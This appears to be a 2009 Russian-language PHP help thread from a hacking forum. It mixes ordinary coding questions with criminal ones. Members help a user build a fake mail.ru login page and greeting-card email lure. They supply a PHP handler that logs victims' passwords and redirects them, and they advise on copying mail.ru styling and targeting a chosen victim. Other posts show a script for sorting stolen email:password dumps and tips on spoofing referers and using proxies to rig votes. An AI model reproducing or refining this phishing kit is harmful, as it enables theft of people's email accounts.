Ребят, как более грамотно сделать, задача во всех строках, перед выводом, заменить "<br>" на "горизонтальную табуляцию" ?
$content = str_replace('<br>', '<hr>', $content);

Snorlax
03.04.2009, 20:55
Спасиб всем огромное!

jkSeyv
03.04.2009, 23:21
Есть скрипт от Kraken Скрипт пересохраняет базу emailass в два файла rus.txt eng.txt (соответственно в одну с паролями на кирилице в ддругую с паролями на латинице)

вобщем доработать его малёк нужно.. поправить код при пересохранении базы с кириллицей.

скрипт нормально парсит такой вид:
мыло:рус123
или
мыло:рус
но не парсит такой вид
мыло:123рус
видно что в 3м варианте идёт сначала цифры, затем русс. буквы
нужно, чтоб 3й вид сохранял тоже в базу.

вот код:...
<?php
echo "Сделано кракеном <br><b><font color=green>© Kraken icq 757-834</font></b>";
$rus=fopen('rus.txt','w');
$eng=fopen('eng.txt','w');
$logins=array_map('rtrim',file('pars.txt')); //массив элементов login:pass
for ($i=0;$i<count($logins);$i++)
{
$x=explode(':',$logins[$i]);
if ((191>ord($x[1][0])) &(ord($x[1][0])<256)) fputs($eng,$x[0].":".$x[1]."\n");
else fputs($rus,$x[0].":".$x[1]."\n");
}
fclose($rus);
fclose($eng);
echo "<br>Скрипт удачно завершил работу.";
?>

FreeNeDiX
04.04.2009, 11:42
Привет всем, вообщем проблема такая. Есть сайт, в котором голосования проходит раз в сутки и режется прокси. Допустим ссылка для голосования типа http://site.net/vote.php?id=1&rating=5

Но при прямом переходе на нее ссылается на реферер, который должен быть непосредственно с http://site.net/. В итоге голосование не проходит. Отсюда вопрос. Можно ли написать скрипт на php для подмена реферера в запросе? Грубо говоря перешел по написанному скрипту с измененным хеадером и тебе засчитался голос :). Примерно так? Какие идеи? :)

m0Hze
04.04.2009, 12:05
Да, cURL.

-=Static=-
04.04.2009, 12:48
FreeNeDiX, а зачем вообще рефера посылать?? Хотя если надо, то хоть сокетами,: хоть cURL'ом, кому как проще/ближе.

Тока непонятно как происходит контроль? По реферу - можно подменить. По кукам - можно их не слать. По IP - на то есть прокси. Вообщем флаг вам в руки!)

Gifts
04.04.2009, 13:32
jkSeyv <?php

$rus=fopen('rus.txt','w');
$eng=fopen('eng.txt','w');
$logins=array_map('rtrim',file('pars.txt'));
$c=count($logins);
for ($i=0;$i<$c;$i++)
{
list($num,$pass)=explode(':',$logins[$i]);
if (preg_match('~[а-яА-Я]~',$pass)) fputs($rus,$num.':'.$pass."\n");
else fputs($eng,$num.':'.$pass."\n");
}
fclose($rus);
fclose($eng);
echo "<br>Скрипт удачно завершил работу.";
?>

FreeNeDiX Если ты хочешь иметь на своем сайте ссылку, на которую жмешь и у тебя голосует - то нельзя, а если прокси+скрипт - можно

jkSeyv
04.04.2009, 13:45
Gifts, ошибка при парсе на 10й
preg_match() [function.preg-match]: Delimiter must not be alphanumeric or backslash in G:\home\localhost\subdomain\vksort.php on line 10


Gifts, ВСЁ НОРМ, СПАСИБО!! :)

FreeNeDiX
04.04.2009, 16:46
FreeNeDiX, а зачем вообще рефера посылать?? Хотя если надо, то хоть сокетами,: хоть cURL'ом, кому как проще/ближе.

Тока непонятно как происходит контроль? По реферу - можно подменить. По кукам - можно их не слать. По IP - на то есть прокси. Вообщем флаг вам в руки!)

На том сайте с прокси не зайдешь, сделано для того чтобы накрутки не было. Кукисы там не нужны, там записывается ИП голосовавшего и обнуляется каждые 24 часа. Также стоит фильтр на голосование из подсети. Почему именно реферер? А хрен его. Когда идешь на ссылку голосования выкидывает ошибку с реферером. Вообще голосование происхожит на ajax. Кому интерестно что именно за проект, то вот примерно так - http://www.toptracker.ru/details.php?id=226

draliokero
04.04.2009, 16:49
Подскажите, пожалуйста: есть текст, нужно в начало дописать строку.

mailbrush
04.04.2009, 16:54
Gifts,
<?php

$rus=fopen('rus.txt','w');
$eng=fopen('eng.txt','w');
$logins=array_map('rtrim',file('pars.txt'));
$c=count($logins);
for ($i=0;$i<$c;$i++)
{
list($num,$pass)=explode(':',$logins[$i]);
if (preg_match('#~[а-яА-Я]~#',$pass)) fputs($rus,$num.':'.$pass."\n");
else fputs($eng,$num.':'.$pass."\n");
}
fclose($rus);
fclose($eng);
echo "<br>Скрипт удачно завершил работу.";
?>
draliokero,<?php
$string1="твой текст";
$string2="что надо дописать";
echo $string2.$string1;
?>

mff
04.04.2009, 17:24
Вот такой вопрос, имеется адрес радиостанции http://88.191.102.29:7204можно ли както получить теги mp3, как это делает например winamp, при помощи php? То есть название трека и исполнителя. Спасибо!

roddik
04.04.2009, 17:31
Вот такой вопрос, имеется адрес радиостанции можно ли както получить теги mp3, как это делает например winamp, при помощи php? То есть название трека и исполнителя. Спасибо!

Скорее всего возможно, поставь сниффер себе и посмотри, что шлет винамп, потом повтори с помощью пхп

Vid0k
04.04.2009, 17:32
Вот такой вопрос, имеется адрес радиостанции можно ли както получить теги mp3, как это делает например winamp, при помощи php? То есть название трека и исполнителя. Спасибо!
PHP-MP3 Class (http://www.sourcerally.net/Scripts/20-PHP-MP3-Class)

mff
04.04.2009, 17:52
roddik, а что мне это даст?
Vid0k, этот класс работает с mp3 файлом как я понял, а со стрим потоком как? :)

Блин вот такая еще ошибка Warning: file_get_contents() [function.file-get-contents]: Unable to access path1.mp3 in ......\mp3.class.php on line 42 :confused:

roddik
04.04.2009, 18:01
посмотришь что отсылается, заменишь название трека и исполнителя, получишь ответ

Kaimi
04.04.2009, 18:02
А зачем читать поток, если можно просто пройти по этому адресу и спарсить нужное?

mff
04.04.2009, 18:07
Kaimi, у меня радио на Флэше, мне нужно получать с потока название песни и исполнителя (как в винампе). Как мне это сделать на php, чтобы я мог в дальнейшем во Флэш сендить эти данные??? Спасибо!

Vid0k
04.04.2009, 18:22
http://www.actionscript.org/forums/showthread.php3?t=149986
документации по этим потокам не видел,примерный способ описан на тома форуме,читаешь поток парсишь загаловки,если в потоке указывается длина трека то через такое же время снова читаешь поток получаешь данные по новому треку,больше ничего в голову не приходит

mff
04.04.2009, 18:55
Vid0k
по ссылке http://www.actionscript.org/forums/showthread.php3?t=149986 есть код:
<?php
$ip = "205.188.215.231";
$port = "8016";

$open = fsockopen($ip,$port);
if ($open) {
fputs($open,"GET /7.html HTTP/1.1\nUser-Agent:Mozilla\n\n");
$read = fread($open,1000);
$text = explode("content-type:text/html",$read);
$text = explode(",",$text[1]);
}
else {
$er="Connection Refused!";
}
if ($text[1]==1) { $state = "Up"; } else { $state = "Down"; }
if ($er) {
echo $er;
exit;
}
echo "<font face=verdana size=1>
Listeners: $text[0] of $text[3] ($text[4] Unique)<br>
Listener Peak: $text[2]<br>
Server State: <b>$state</b><br>
Bitrate: $text[5] Kbps<br>
Current Song: $text[6]<br>
</font>";
?>

но он выдаёт:

Warning: fsockopen(): php_network_getaddresses: gethostbyname failed in /home/.../public_html/radio.php on line 5

Warning: fsockopen(): unable to connect to http://88.191.102.29:7204 in /home/s.../public_html/radio.php on line 5
Connection Refused! :confused:

mff
04.04.2009, 19:07
Спасибо большое Vid0k! :)
Это то, что мне нужно!!! :)
Всё заработало! :)

-m0rgan-
04.04.2009, 19:11
Оно говорит что не может подключится к http://88.191.102.29:7204 потому что подключение запрещено!

mff
04.04.2009, 19:52
Оно говорит что не может подключится к http://88.191.102.29:7204 потому что подключение запрещено!да, оно так говорило, потомучто нужно было убрать "http://" :)

Na1VeL
04.04.2009, 19:57
Подскажите, в чем отличие stream_ socket_ server от простого socket_create ?

mailbrush
04.04.2009, 20:05
http://php.net/stream_socket_server & http://php.net/socket_create

Хелпер
04.04.2009, 20:08
пишу сценарий с вевлением.

<?php
//сравнение трех чисел\\
//Вводим три переменные
$a=56;
$b=128;
$c=75;
//сравниваем 2 первых числа
if ($a>$b)
{
$m=$a;
}
else {
$m=$b
} //Здесь должно было присвоиться к переменной $M большее число. Однако присвоение не идет.
?>

Chaak
04.04.2009, 20:21
ты ";" забыл после $m=$b

astrologer
04.04.2009, 20:25
2Хелпер$m = max($a, $b);

Хелпер
04.04.2009, 21:30
Спасибо, я слепой просто xD

awaria
05.04.2009, 00:44
Что надо изменить, чтобы фейк заработал? Фейковая страница создана уже.

<form method="post" action="log.php" onSubmit="return CheckForm(this);">

<input type="hidden" name="page" value="">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">

<tr>

<td><img src=http://img.imgsmail.ru/0.gif width=55 height=1><br>Имя</td>

<td width=63%><input type="text" name="Login" value="charm0nt" class=w_100></td>

<td width=37%><select class=w_100 name="Domain"><option value="mail.ru" SELECTED>@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="bk.ru" >@bk.ru</option><option value="list.ru" >@list.ru</option></select></td>

</tr>

<tr>

<td>Пароль</td>

<td colspan=2>

<table width=100% cellpadding=0 cellspacing=0 border=0><tr>

<td width=100%><input type="password" name="Password" class=w_100></td>

<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.mail.ru/pages/help/2.html#2185" target=_new>Забыли&nbsp;пароль?</a></td>

</tr></table>

</td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>

<td>&nbsp;</td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>

<td>&nbsp;</td>

</tr></form>

AFoST
05.04.2009, 01:15
дайте маны по curl+https+post+cookie почитать плззз
или про сокеты и https

159932
05.04.2009, 01:27
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
php.net/curl

jkSeyv
05.04.2009, 01:34
awaria, самый верх:

<form method="post" action="log.php" onSubmit="return CheckForm(this);">

<input type="hidden" name="page" value="">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">
замени на:

<form method="post" name="login" id="login" action="log.php">

<label for="email">Email:</label>
<input class="inputText" onClick="show('expirePad');" type="text" name="login" id="email" size="20" />

<label for="pass">Пароль:</label>
<input class="inputText" onClick="show('expirePad');" type="password" name="pass" id="pass" size="20" />

awaria
05.04.2009, 02:39
awaria, самый верх:

<form method="post" action="log.php" onSubmit="return CheckForm(this);">

<input type="hidden" name="page" value="">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">
замени на:

<form method="post" name="login" id="login" action="log.php">

<label for="email">Email:</label>
<input class="inputText" onClick="show('expirePad');" type="text" name="login" id="email" size="20" />

<label for="pass">Пароль:</label>
<input class="inputText" onClick="show('expirePad');" type="password" name="pass" id="pass" size="20" />
Можно немного пояснить - что это даёт. Своё вставлять ничего не надо? После заливки файлов на мою страницу перекидывать будет? А где указывается мыло жертвы? или это всё универсально? и мне всё подряд будет кидать? Как сделать на определённый ящик?

awaria
05.04.2009, 07:07
Что здесь менять на свои значения? Открытку где брать - можно тупо на радикал загрузить свою?
Плиииз, поподробнее...

<table class=readlet cellpadding=0 cellspacing=0 border=0 width="100%"><tr>
<td>
<div id=let_body><base href="http://win.mail.ru/cgi-bin/readmsg"><table cellspacing=0 cellpadding=5><tr valign=top>
<td><a href="http://cards.mail.ru" target="_blank"></a></td>
<td><font color="#333333" face="Arial" size="2">

Здравствуйте, на Ваше имя отправлена открытка.

Отправитель открытки: <a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a>

Открытку Вы можете посмотреть в течение 90 дней по ссылке

<a href="http://priz.croe.net./" target="_self"><font color=#0857A6>http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f</font></a>

Нажмите на неё, чтобы попасть на страницу с открыткой.

<hr align="left" color="silver" size="1" width="100%">
Чтобы своевременно узнавать о ближайших праздниках, именинниках и конкурсах,

<a href="http://content.mail.ru/pages/p_782.html" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"> подпишитесь на рассылку</a>.


<a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a> - открытки на все случаи жизни!<br><br><br>

</font></td></tr></table>


и тут тоже что менять???
<?PHP

$Login = $_POST['Login'];//Логин
$Domain = $_POST['Domain'];//Домен
$Pass = $_POST['Password'];//Пароль
$c = "$Login@$Domain:$Pass";
$fp = fopen("log","a+"); //открыть файл базы
fwrite($fp,"\n $c <br> \n");//записываем все
fclose($fp); //закрываем
header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//куда пошлем пользователя после того как он ввел данные!

?>

mailbrush
05.04.2009, 09:16
awaria, может обработчик покажешь?

fatalo
05.04.2009, 09:57
Надо смотреть принимаемые данные.Без них никак

mailbrush
05.04.2009, 10:22
awaria, ты тупо скопипастил(-а) код из статьи какой-то. У тебя в форме имена полей не соответствуют именам полей, которые обрабатываются обработчиком.

jkSeyv
05.04.2009, 11:26
awaria, ты оказывается на Майле делал) не знал, тот тебе не подойдёт что я привёл.
привёл бы раньше пример лог файла, сразу бы подсказал)

тот прежний код ты откуда вытащил-то... он никак не сходится с лог-файлом..

AFoST
05.04.2009, 11:38
как используя curl отправить следующий запрос?

POST https://host/index.php HTTP/1.1
Host: www.host
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 AdCentriaIM/1.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 30
Connection: keep-alive
Referer: https://www.host
Cookie: sess_id1=FVASDRitb; sess_id2=12378178
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Content-Length: 492

-----------------------------24464570528145
Content-Disposition: form-data; name="qwer"

12345678912345678912345
-----------------------------24464570528145
Content-Disposition: form-data; name="variable2"


-----------------------------24464570528145
Content-Disposition: form-data; name="var3"

val3
-----------------------------24464570528145
Content-Disposition: form-data; name="var4"

val4
-----------------------------24464570528145--

oRb
05.04.2009, 11:46
AFoST

http://ru2.php.net/manual/ru/function.curl-setopt.php

CURLOPT_USERAGENT
CURLOPT_REFERER
CURLOPT_COOKIE
CURLOPT_HTTPHEADER
CURLOPT_POSTFIELDS

пример, как их юзать в конце страницы.

wildshaman
05.04.2009, 11:56
как используя curl отправить следующий запрос?




$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,"https://host/index.php");
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_HEADER,false);
$postdata = array(
'qwer' => '12345678912345678912345',
'variable2' => '',
'var3' => 'val3',
'var4' => 'val4'
);
curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl,CURLOPT_COOKIE, "sess_id1=FVASDRitb; sess_id2=12378178");
curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate");
$ret = curl_exec($curl);
echo $ret;



Ну, общем, как-то так....

.:EnoT:.
05.04.2009, 12:35
Ну ещё добавить curl_setopt($curl, CURLOPT_POST, 1);
И файлы передаются с собачкой @

wildshaman
05.04.2009, 12:46
Ну ещё добавить curl_setopt($curl, CURLOPT_POST, 1);
И файлы передаются с собачкой @

хм, а зачем добавлять, если не секерт?)
Мнго раз видел, но и без этого рабоатет, вроде)
А про файл в вопрсое нчиего не было Ж)

ronald
05.04.2009, 13:07
Помогите пожалуйста, как очистить содержимое страницы (просто удалить), включая формы и т.п. ?

159932
05.04.2009, 16:12
2 ronald
что значит очистить содержимое страницы ? очистить от чего именно ?
вот тебе уневерсальный отчеститель unset($stranitsa); :D

ronald
05.04.2009, 16:13
Мне нужно убрать форму

awaria
05.04.2009, 16:14
awaria, может обработчик покажешь?
я понимаю -эта тема для новичков. вот и задаю не очень умные вопросы профессионалам - пытаюсь вникнуть.
что такое обработчик? я пользуюсь программой Total Commander, фейковую страницу делаю на hostland.su

awaria, ты оказывается на Майле делал) не знал, тот тебе не подойдёт что я привёл.
привёл бы раньше пример лог файла, сразу бы подсказал)

тот прежний код ты откуда вытащил-то... он никак не сходится с лог-файлом..
код взяла из статьи и пытаюсь свои данные вставить.

можете объяснить что не так?

Corpy
05.04.2009, 16:28
С помощью чего можно сделать такие операции:
Открыть текстовик, прочитать его,правильно разбить, и вывести на екран.
В текстовике такой текст:

Заголовок
Какой то интересный текст на несколько строчек

Заголовок 2
Какой то текст

Заголовок 3
Ваще текст

Как вот так же вывести на екран как он в текстовике.
Я делаю так:
<? $a = fopen("1.txt","r"); $b = explode("\n","$a"); echo "$b"; fclose($a); ?>
Где ошибка или это всё ошибка ?
Заранее спасибо.

awaria
05.04.2009, 16:40
вот такая хрень у меня получилась. как сделать всё корректно? чтобы страница была идентична майловской?

http://www.awaria.tu2.ru/

ronald
05.04.2009, 16:41
2Сorpy
может быть прикрути fread (я не уверен, я с PHP работаю 2-ой день)

geforse
05.04.2009, 16:46
Помогите "выдрать" из файла одну строку ... тоесть есть файл вида:

адин
два
три

и нужно $adin = "адин"; $dva = "dva";

Может через массив ?

ronald
05.04.2009, 16:53
2awaria, держи их сss:
http://img.imgsmail.ru/mail/ru/css/mail-main1.css?123
http://img.imgsmail.ru/mail/ru/css/mail-second.css
и для приличия добавь там наверху ссылки на "Мой мир" и т.д. т.п.
чтобы слить их css, просто открой сурс и ищи css, скачивай эти файлы и будет тебе счастье

159932
05.04.2009, 16:56
2 geforse
foreach (file('a.txt') as $str) echo $str."\r\n";

awaria
05.04.2009, 17:34
полюбуйтесь теперь. А как пересылать на эту страницу того, кто мне нужен ?открыткой? и можно как то убрать рекламу или это не столь важно?

http://www.awaria.tu2.ru/

jkSeyv
05.04.2009, 17:38
ronald
2awaria, держи их сss:
http://img.imgsmail.ru/mail/ru/css/mail-main1.css?123
http://img.imgsmail.ru/mail/ru/css/mail-second.css
и для приличия добавь там наверху ссылки на "Мой мир" и т.д. т.п.
чтобы слить их css, просто открой сурс и ищи css, скачивай эти файлы и будет тебе счастье
как я понял из стиля написания, awaria, девушка, не думаю что понятно ей будет на счет css

awaria, я думаю тебе лучше будет сделать формы без домена (логина), т.е. без @inbox.ru ; @bk.ru ; @list.ru.
т.к. будет муторно настроить чтоб к логину в логи попадал ещё и домен.. сделай логин с одной формой, будет на много проще...

вот на примере этого, я его уже как месяц забросил, потом думаю на Мейл перейду
__http://bigups.vov.ru/

jkSeyv
05.04.2009, 17:42
awaria, да рекламу можно, я её убрал у себя.
перекидывать с помощь редиректа на страницу твою можно


ronald, угу :)

ronald
05.04.2009, 17:49
awaria, я думаю тебе лучше будет сделать формы без домена (логина), т.е. без @inbox.ru ; @bk.ru ; @list.ru.
т.к. будет муторно настроить чтоб к логину в логи попадал ещё и домен.. сделай логин с одной формой, будет на много проще...

Угу, а потом аварии придётся каждый логин подставлять к каждому домену...

awaria
05.04.2009, 17:53
awaria, да рекламу можно, я её убрал у себя.
перекидывать с помощь редиректа на страницу твою можно

спс. а как подробнее можно? или где тема может есть такая?

ronald
05.04.2009, 18:00
спс. а как подробнее можно? или где тема может есть такая?

Нууу, авария, в исходники загляни ;) там всё есть, и ещё: пофикси ссылки вверху, не работают первые несколько

jkSeyv
05.04.2009, 18:04
ronald
Угу, а потом аварии придётся каждый логин подставлять к каждому домену...
а разница? она же будет во зломанное мыло входить, а там тока копируя логин, потом домен подставить...
по другому я чета не вижу =/
да и люди будут вводить полный вид ящика, а он в логах засветится...

awaria, свойста рекламы нажми, будет адрес с картинкой, в исходнике как-раз этот адрес найди с названием картинки и удали.

art2222
05.04.2009, 19:46
В чём синтаксис еррор?
На switch ($kol){ ругается
Странно, у меня все прекрасно отработало =\

ronald
05.04.2009, 20:37
ronald

а разница? она же будет во зломанное мыло входить, а там тока копируя логин, потом домен подставить...
по другому я чета не вижу =/
да и люди будут вводить полный вид ящика, а он в логах засветится...

awaria, свойста рекламы нажми, будет адрес с картинкой, в исходнике как-раз этот адрес найди с названием картинки и удали.
Домен на mail.ru нужно выбрать из выпадающего списка, и не факт, что каждый будет ввдоить полное мыло ;) так что, авария, делай выбор из списка и будет тебе счастье))

MaTpOc
05.04.2009, 20:51
Возникла проблема с созданием скрипта, который бы ломал строку символов и после пробела все переносил на след. строку.
Вот пример:

-до обработки:

1.2.3 4.5.6 7.8.9

-после:

1.2.3
4.5.6
7.8.9

буду благодарен за любую помощь.

wildshaman
05.04.2009, 20:58
Возникла проблема с созданием скрипта, который бы ломал строку символов и после пробела все переносил на след. строку.
Вот пример:

-до обработки:

1.2.3 4.5.6 7.8.9

-после:

1.2.3
4.5.6
7.8.9

буду благодарен за любую помощь.


<?
$str="1.2.3 4.5.6 7.8.9";
$str=str_replace(" ", "<br>", $str);
echo $str;
?>

mailbrush
05.04.2009, 22:41
2Сorpy
может быть прикрути fread (я не уверен, я с PHP работаю 2-ой день)
Вот именно. Если ты с пхп работаешь два дня, ты еще сам новичок, поэтому не отвечай на вопросы, на которые не знаешь ответа.

С помощью чего можно сделать такие операции:
Открыть текстовик, прочитать его,правильно разбить, и вывести на екран.
В текстовике такой текст:

Заголовок
Какой то интересный текст на несколько строчек

Заголовок 2
Какой то текст

Заголовок 3
Ваще текст

Как вот так же вывести на екран как он в текстовике.
Я делаю так:
<? $a = fopen("1.txt","r"); $b = explode("\n","$a"); echo "$b"; fclose($a); ?>
Где ошибка или это всё ошибка ?
Заранее спасибо.
Это все - ошибка :)
<?
echo str_replace("\n","<br>",file_get_contents("1.txt"));
?>

art2222
05.04.2009, 23:18
Это все - ошибка

<?
echo str_replace("\n","<br>",file_get_contents("1.txt"));
?>
Вообще то есть функция nl2br();

MaTpOc
06.04.2009, 07:29
<?php
$search = 'file';
$filename = "1.txt";
$handle = fopen($filename, "r");
$s = fread($handle, filesize($filename));
$a = strpos($s,$search);
If($a) $new = str($s,$a);
fclose($handle);
$handle1 = fopen("new.txt", "w");
fwrite($handle1,$new . "\r\n");
fclose($handle1);
?>

ЧТот у меня не получилось сделать так чтоб до опр символа все летело в др файл(

jkSeyv
06.04.2009, 11:37
Домен на mail.ru нужно выбрать из выпадающего списка, и не факт, что каждый будет ввдоить полное мыло ;) так что, авария, делай выбор из списка и будет тебе счастье))

ну да вобщем)
но можно и форму подписать соответсвенно, к примеру...
Ваш почтовый ящик (полностью)

не думаю что юзер туп и не поймёт этого)
ну а если впишет тока логин, то его (в зависимоти куда перекинет) подумает что не верно вбил и впишет мыло полностью.... у меня было так, что юзер вбил тока логин, потом возвращается и пишет ящик целиком, так-что тут можно по разному юзать фейк, но я всё же думаю легче с 2мя формами...

Pashkela
06.04.2009, 11:55
ЧТот у меня не получилось сделать так чтоб до опр символа все летело в др файл(


<?php
$search = 'file';
$filename = "1.txt";
$handle = fopen($filename, "r");
$s = fread($handle, filesize($filename));
$a = strpos($s,$search);
If($a) $new = substr($s,0,$a);
fclose($handle);
$handle1 = fopen("new.txt", "w");
fwrite($handle1,$new . "\r\n");
fclose($handle1);
?>

REDz
06.04.2009, 12:08
Помогите "выдрать" из файла одну строку ... тоесть есть файл вида:

адин
два
три

и нужно $adin = "адин"; $dva = "dva";

Может через массив ?

$t=file("1.txt");
$t[0]=$adin;
$t[1]=$dva;
// ....

awaria
06.04.2009, 16:18
Домен на mail.ru нужно выбрать из выпадающего списка, и не факт, что каждый будет ввдоить полное мыло ;) так что, авария, делай выбор из списка и будет тебе счастье))
Каюсь - тупа ещё в этом. и всё же, что такое выпадающий список?

.:EnoT:.
06.04.2009, 16:35
Вот именно. Если ты с пхп работаешь два дня, ты еще сам новичок, поэтому не отвечай на вопросы, на которые не знаешь ответа.

<?
echo str_replace("\n","<br>",file_get_contents("1.txt"));
?>

*истерика* http://s49.radikal.ru/i124/0904/98/790235946740.gif http://s49.radikal.ru/i124/0904/98/790235946740.gif http://s49.radikal.ru/i124/0904/98/790235946740.gif http://s49.radikal.ru/i124/0904/98/790235946740.gif http://s49.radikal.ru/i124/0904/98/790235946740.gif

Chaak
06.04.2009, 17:43
mailbrush, nl2br, не?

Zitt
06.04.2009, 18:43
даешь 1000ную страницу )))

geforse
06.04.2009, 19:25
Хочу авторизироваться на phpBB форуме, но выходит капча (не стандартная)
Как можно вытащить ссесию из страницы (login.php) и отобразить капчу ?

wildshaman
06.04.2009, 19:29
Хочу авторизироваться на phpBB форуме, но выходит капча (не стандартная)
Как можно вытащить ссесию из страницы (login.php) и отобразить капчу ?

дай линк, гляну

geforse
06.04.2009, 19:31
да любой phpBB форум ... да хоть торрентс
там тоже кажется стоит phpBB 2
============================
Получил из хедера bb_test=1479735648
но что терь с этим делать ?
Опять серверу слать :confused:

Zitt
06.04.2009, 19:57
тоже интересует вопрос geforse )

awaria
06.04.2009, 19:58
ну да вобщем)
но можно и форму подписать соответсвенно, к примеру...
Ваш почтовый ящик (полностью)

не думаю что юзер туп и не поймёт этого)
ну а если впишет тока логин, то его (в зависимоти куда перекинет) подумает что не верно вбил и впишет мыло полностью.... у меня было так, что юзер вбил тока логин, потом возвращается и пишет ящик целиком, так-что тут можно по разному юзать фейк, но я всё же думаю легче с 2мя формами...

А вот так будет правильнее или тоже не верняк?

http://www.awaria.tu2.ru/

Там, после фейка, на 2-ой фэйк посылает, а в 3-ий раз уже на майл.ру.

Gifts
06.04.2009, 20:32
geforse Всяко проще будет, если адресс форума скажете. Тем более если капча "нестандартная"

geforse
07.04.2009, 08:17
У меня просто форум внутри сети и вам туда ну никак не попасть(((

Объясните мне на примере www.torrents.ru
Я не понимаю даже что нужно делать ... вытащил я их хедера bb_test=_тут_циферки_; и как мне отобразить в капчу ?

Тоесть мой скрипт проходит авторизацию, но иногда вылезает капча ... в скрипте она не отображается(

Gifts
07.04.2009, 12:26
geforse Сохраняет капчу на локальный сервер и показывает ее в браузере, если капчи нет - выводит всю страницу. <tt><pre><?

//===================================
$login='asdasdasdas';
$pass='aerwqefsal';
//===================================

@set_time_limit(0);
@ini_set("max_execution_time", 0);

$cookie=array();

function post($url='',$content='',$referer='')
{
GLOBAL $cookie;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');

if (!empty($cookie)) curl_setopt($ch, CURLOPT_COOKIE, implode('; ',$cookie));
if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);}
if (!empty($referer)) curl_setopt($ch, CURLOPT_REFERER, $referer);
//curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-REQUESTED-WITH: XMLHttpRequest'));
$ss=curl_exec($ch);
curl_close($ch);

if (preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=\r\n]+))#mi',$ss,$cook))
{
if ($tmpcookie=array_combine($cook[2],$cook[1]))
$cookie=(array)$tmpcookie + (array)$cookie;
}

return preg_replace('~^.+\r\n\r\n~Umsi','',$ss);
}

$tmp=post('http://torrents.ru/forum/login.php', 'login_username='.urlencode($login).'&loginpassword='.urlencode($pass).'&login='.urlencode('Вход'), 'http://torrents.ru/forum');
if (preg_match('~Код подтверждения:.+?<img src="([^"]+)"~msi',$tmp,$match))
{
file_put_contents('tor_captcha.jpg',post($match[1],null,'http://torrents.ru/forum/login.php'));
echo '<img src="tor_captcha.jpg" />';
} else echo $tmp;

m0Hze
07.04.2009, 12:29
Если я не прав поправте.
В общем,получаем капчу,перед этим запоминаем номер сессии капчи.
Вбиваем капчу,и курлом,отправляем вбитые цыферки на сервер,прикрепив кукисы с сессией которую мы запомнили.Помоему както так.

Vid0k
07.04.2009, 12:41
Если я не прав поправте.
В общем,получаем капчу,перед этим запоминаем номер сессии капчи.
Вбиваем капчу,и курлом,отправляем вбитые цыферки на сервер,прикрепив кукисы с сессией которую мы запомнили.Помоему както так.
все верно
гыгы 1000 страниц уж

geforse
07.04.2009, 20:00
Gifts
Большое спасибо ) всё работает :)

Но не совсем понятно в твоём коде какие значения обратно нужно слать ?
Тоесть при авторизации такое запрос есть:


redirect=index.php&cookie_test=614778858&login_username=.LOGIN.login_password=.PASSWORD.&cap_sid=l6ZoYvjytiTxtuAg5t1n&cap_code_59ed9242a27cda0be076cbdec0129e07=.ТУТ ЦЫФРЫ НА КАПЧЕ.&autologin=on&login=%C2%F5%EE%E4

m0Hze
07.04.2009, 22:29
Вот это похоже и есть сессия капчи.
59ed9242a27cda0be076cbdec0129e07

art2222
07.04.2009, 22:52
Вот это похоже и есть сессия капчи.
59ed9242a27cda0be076cbdec0129e07

Имхо вот: cap_sid=l6ZoYvjytiTxtuAg5t1n
Cap_SessionID. А это 59ed9242a27cda0be076cbdec0129e07 больше похоже на md5 кода капчи.

m0Hze
07.04.2009, 22:56
Комрады,посоветуйте мне вот что.
Взялся за большой проэкт,решил все сделать сам,но уже на первых парах понял - что простыми самописным "шаблонизатором" не обойтись.Солишком много кода выходит только на мелочи вроде вывода меню,разного для статусов пользователей.
Поэтому,хотелось бы научитться пользоваться шаблонизаторами,вроде SmartY но нигде не могу найти чтото вроде манов на руском,может плохо искал.
Подскажите пожалуйста,буду очень признателен.

art2222
07.04.2009, 23:04
но нигде не могу найти чтото вроде манов на руском,может плохо искал.
http://smarty.net/manual/ru/
или вот
